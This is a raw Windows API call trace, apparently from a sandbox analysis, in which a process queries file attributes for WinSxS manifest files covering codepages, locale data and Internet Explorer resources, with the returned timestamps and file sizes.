	[0107.481] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1144_31bf3856ad364e35_6.1.7600.16385_none_22d449f56b0e6ead.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1144_31bf3856ad364e35_6.1.7600.16385_none_22d449f56b0e6ead.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0af8 | out: lpFileInformation=0x128f0af8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86f853ba, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86f853ba, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xdb7d34e9, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x948)) returned 1
	[0107.481] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1145_31bf3856ad364e35_6.1.7600.16385_none_2345d1236ac57334.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1145_31bf3856ad364e35_6.1.7600.16385_none_2345d1236ac57334.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0b48 | out: lpFileInformation=0x128f0b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fab517, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86fab517, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x392b4aae, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x964)) returned 1
	[0107.482] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1146_31bf3856ad364e35_6.1.7600.16385_none_23b758516a7c77bb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1146_31bf3856ad364e35_6.1.7600.16385_none_23b758516a7c77bb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0b98 | out: lpFileInformation=0x128f0b98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fab517, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86fab517, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xfaed3094, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x95a)) returned 1
	[0107.482] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1147_31bf3856ad364e35_6.1.7600.16385_none_2428df7f6a337c42.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1147_31bf3856ad364e35_6.1.7600.16385_none_2428df7f6a337c42.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0be8 | out: lpFileInformation=0x128f0be8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fab517, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86fab517, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xeec3af30, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x94a)) returned 1
	[0107.482] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1148_31bf3856ad364e35_6.1.7600.16385_none_249a66ad69ea80c9.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1148_31bf3856ad364e35_6.1.7600.16385_none_249a66ad69ea80c9.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0c38 | out: lpFileInformation=0x128f0c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fd1674, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86fd1674, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x90a0f63c, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x954)) returned 1
	[0107.483] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1149_31bf3856ad364e35_6.1.7600.16385_none_250beddb69a18550.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1149_31bf3856ad364e35_6.1.7600.16385_none_250beddb69a18550.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0c88 | out: lpFileInformation=0x128f0c88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86fd1674, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86fd1674, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xeb1d386, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1
	[0107.483] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1250_31bf3856ad364e35_6.1.7600.16385_none_210f16bf6c318f89.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1250_31bf3856ad364e35_6.1.7600.16385_none_210f16bf6c318f89.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0cd8 | out: lpFileInformation=0x128f0cd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86cfdc8d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86cfdc8d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x84079467, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xa06)) returned 1
	[0107.483] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1251_31bf3856ad364e35_6.1.7600.16385_none_21809ded6be89410.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1251_31bf3856ad364e35_6.1.7600.16385_none_21809ded6be89410.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0d28 | out: lpFileInformation=0x128f0d28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86945a78, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86945a78, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xa843c882, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9f0)) returned 1
	[0107.483] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1252_31bf3856ad364e35_6.1.7600.16385_none_21f2251b6b9f9897.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1252_31bf3856ad364e35_6.1.7600.16385_none_21f2251b6b9f9897.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0d78 | out: lpFileInformation=0x128f0d78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e7aa2f, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x86e7aa2f, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x520f8c25, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9ee)) returned 1
	[0107.484] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1253_31bf3856ad364e35_6.1.7600.16385_none_2263ac496b569d1e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1253_31bf3856ad364e35_6.1.7600.16385_none_2263ac496b569d1e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0dc8 | out: lpFileInformation=0x128f0dc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875528e5, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x875528e5, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x4f430466, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9f4)) returned 1
	[0107.484] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1254_31bf3856ad364e35_6.1.7600.16385_none_22d533776b0da1a5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1254_31bf3856ad364e35_6.1.7600.16385_none_22d533776b0da1a5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0e18 | out: lpFileInformation=0x128f0e18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863523f0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x863523f0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x75354ae1, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f8)) returned 1
	[0107.484] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1255_31bf3856ad364e35_6.1.7600.16385_none_2346baa56ac4a62c.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1255_31bf3856ad364e35_6.1.7600.16385_none_2346baa56ac4a62c.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0e68 | out: lpFileInformation=0x128f0e68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x874e04ce, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x874e04ce, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5d3a5ad4, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9f6)) returned 1
	[0107.484] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1256_31bf3856ad364e35_6.1.7600.16385_none_23b841d36a7baab3.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1256_31bf3856ad364e35_6.1.7600.16385_none_23b841d36a7baab3.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0eb8 | out: lpFileInformation=0x128f0eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x865415a9, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x865415a9, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x1824448e, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x9f6)) returned 1
	[0107.485] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1257_31bf3856ad364e35_6.1.7600.16385_none_2429c9016a32af3a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1257_31bf3856ad364e35_6.1.7600.16385_none_2429c9016a32af3a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0f08 | out: lpFileInformation=0x128f0f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x867568bf, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x867568bf, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb3c45399, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x9ec)) returned 1
	[0107.485] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1258_31bf3856ad364e35_6.1.7600.16385_none_249b502f69e9b3c1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1258_31bf3856ad364e35_6.1.7600.16385_none_249b502f69e9b3c1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0f58 | out: lpFileInformation=0x128f0f58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87637113, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87637113, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x81df4b43, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0xa02)) returned 1
	[0107.485] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ional-codepage-1361_31bf3856ad364e35_6.1.7600.16385_none_2181876f6be7c708.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ional-codepage-1361_31bf3856ad364e35_6.1.7600.16385_none_2181876f6be7c708.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0fa8 | out: lpFileInformation=0x128f0fa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8645cd7b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8645cd7b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x65b79397, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x922)) returned 1
	[0107.485] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ipprofile.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0e6d4e28789e1493.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ipprofile.resources_31bf3856ad364e35_6.1.7600.16385_en-us_0e6d4e28789e1493.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f0ff8 | out: lpFileInformation=0x128f0ff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c88605, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf4364343, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf3c88605, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x34a)) returned 1
	[0107.486] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..kitengine.resources_31bf3856ad364e35_8.0.7600.16385_en-us_fea8364aaaf55fb1.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..kitengine.resources_31bf3856ad364e35_8.0.7600.16385_en-us_fea8364aaaf55fb1.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1048 | out: lpFileInformation=0x128f1048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea62ca3, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea62ca3, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8ab)) returned 1
	[0107.486] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..l-chinese-migration_31bf3856ad364e35_6.1.7600.16385_none_7ae32adc566946ab.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..l-chinese-migration_31bf3856ad364e35_6.1.7600.16385_none_7ae32adc566946ab.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1098 | out: lpFileInformation=0x128f1098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bda9fc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x89bda9fc, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x70e9916f, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0xdbc)) returned 1
	[0107.486] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..l-chinese-utilities_31bf3856ad364e35_6.1.7600.16385_none_5a0e92e4c187d961.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..l-chinese-utilities_31bf3856ad364e35_6.1.7600.16385_none_5a0e92e4c187d961.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f10e8 | out: lpFileInformation=0x128f10e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89bda9fc, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x1318d52c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xb2c34a91, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3fc)) returned 1
	[0107.486] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..lesystemsupport-mof_31bf3856ad364e35_6.1.7600.16385_none_9316f67ecd6a7f65.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..lesystemsupport-mof_31bf3856ad364e35_6.1.7600.16385_none_9316f67ecd6a7f65.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1138 | out: lpFileInformation=0x128f1138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8821de23, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8821de23, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x44704872, ftLastWriteTime.dwHighDateTime=0x1ca0426, nFileSizeHigh=0x0, nFileSizeLow=0x795)) returned 1
	[0107.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ltinstall.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b0b31218d2ed84e5.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ltinstall.resources_31bf3856ad364e35_6.1.7600.16385_en-us_b0b31218d2ed84e5.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1188 | out: lpFileInformation=0x128f1188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5acceb8, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xf5acceb8, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xa12)) returned 1
	[0107.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..mentation.resources_31bf3856ad364e35_8.0.7600.16385_en-us_32e1486031fec043.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..mentation.resources_31bf3856ad364e35_8.0.7600.16385_en-us_32e1486031fec043.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f11d8 | out: lpFileInformation=0x128f11d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf19caba4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf19caba4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x83f)) returned 1
	[0107.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..migration.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ea9b641cd815fb5a.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..migration.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ea9b641cd815fb5a.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1228 | out: lpFileInformation=0x128f1228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5b1942a, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf6884934, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf5b1942a, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x891)) returned 1
	[0107.487] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..mlediting.resources_31bf3856ad364e35_8.0.7600.16385_en-us_efb2d0e97a9b8ddd.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..mlediting.resources_31bf3856ad364e35_8.0.7600.16385_en-us_efb2d0e97a9b8ddd.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1278 | out: lpFileInformation=0x128f1278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea3c9ea, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea3c9ea, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x312)) returned 1
	[0107.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..nal-core-locale-nls_31bf3856ad364e35_6.1.7601.17514_none_6cbf9ac50787dadc.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..nal-core-locale-nls_31bf3856ad364e35_6.1.7601.17514_none_6cbf9ac50787dadc.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f12c8 | out: lpFileInformation=0x128f12c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a220a76, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x8a220a76, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8a246bd6, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x70a)) returned 1
	[0107.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..nal-nlsdownleveldll_31bf3856ad364e35_6.1.7600.16385_none_087f597fb956baeb.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..nal-nlsdownleveldll_31bf3856ad364e35_6.1.7600.16385_none_087f597fb956baeb.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1318 | out: lpFileInformation=0x128f1318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a662092, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7a662092, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xc8a69b13, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x8e6)) returned 1
	[0107.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..national-core-winpe_31bf3856ad364e35_6.1.7600.16385_none_57fefc6f00c93201.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..national-core-winpe_31bf3856ad364e35_6.1.7600.16385_none_57fefc6f00c93201.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1368 | out: lpFileInformation=0x128f1368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a5c9b1e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7a5c9b1e, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0xb4a41f87, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc34)) returned 1
	[0107.488] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..nese-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1a06d5082a907920.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..nese-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_1a06d5082a907920.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f13b8 | out: lpFileInformation=0x128f13b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf19a48eb, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf19a48eb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x3db)) returned 1
	[0107.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..nese-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2128848217b22403.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..nese-core.resources_31bf3856ad364e35_6.1.7600.16385_en-us_2128848217b22403.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1408 | out: lpFileInformation=0x128f1408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cabc0c, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf131511f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf0cabc0c, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x3b3)) returned 1
	[0107.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ngsupport.resources_31bf3856ad364e35_8.0.7600.16385_en-us_5153ffae540bad76.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ngsupport.resources_31bf3856ad364e35_8.0.7600.16385_en-us_5153ffae540bad76.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f1458 | out: lpFileInformation=0x128f1458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfea3c9ea, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfee8f8df, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfea3c9ea, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8a8)) returned 1
	[0107.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..nternetcontrolpanel_31bf3856ad364e35_8.0.7601.17514_none_abfb5733271ca1ff.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..nternetcontrolpanel_31bf3856ad364e35_8.0.7601.17514_none_abfb5733271ca1ff.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f14a8 | out: lpFileInformation=0x128f14a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad72b4c6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xad72b4c6, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xad751627, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x57585)) returned 1
	[0107.489] GetFileAttributesExW (in: lpFileName="C:\\Windows\\winsxs\\Manifests\\x86_microsoft-windows-i..ntrolpanel-optional_31bf3856ad364e35_8.0.7601.17514_none_8a7b3469ee1b728e.manifest" (normalized: "c:\\windows\\winsxs\\manifests\\x86_microsoft-windows-i..ntrolpanel-optional_31bf3856ad364e35_8.0.7601.17514_none_8a7b3469ee1b728e.manifest"), fInfoLevelId=0x0, lpFileInformation=0x128f14f8 | out: lpFileInformation=0x128f14f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ed2b76, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0xb9ed2b76, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0xb9ef8cd6, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x8b2)) returned 1
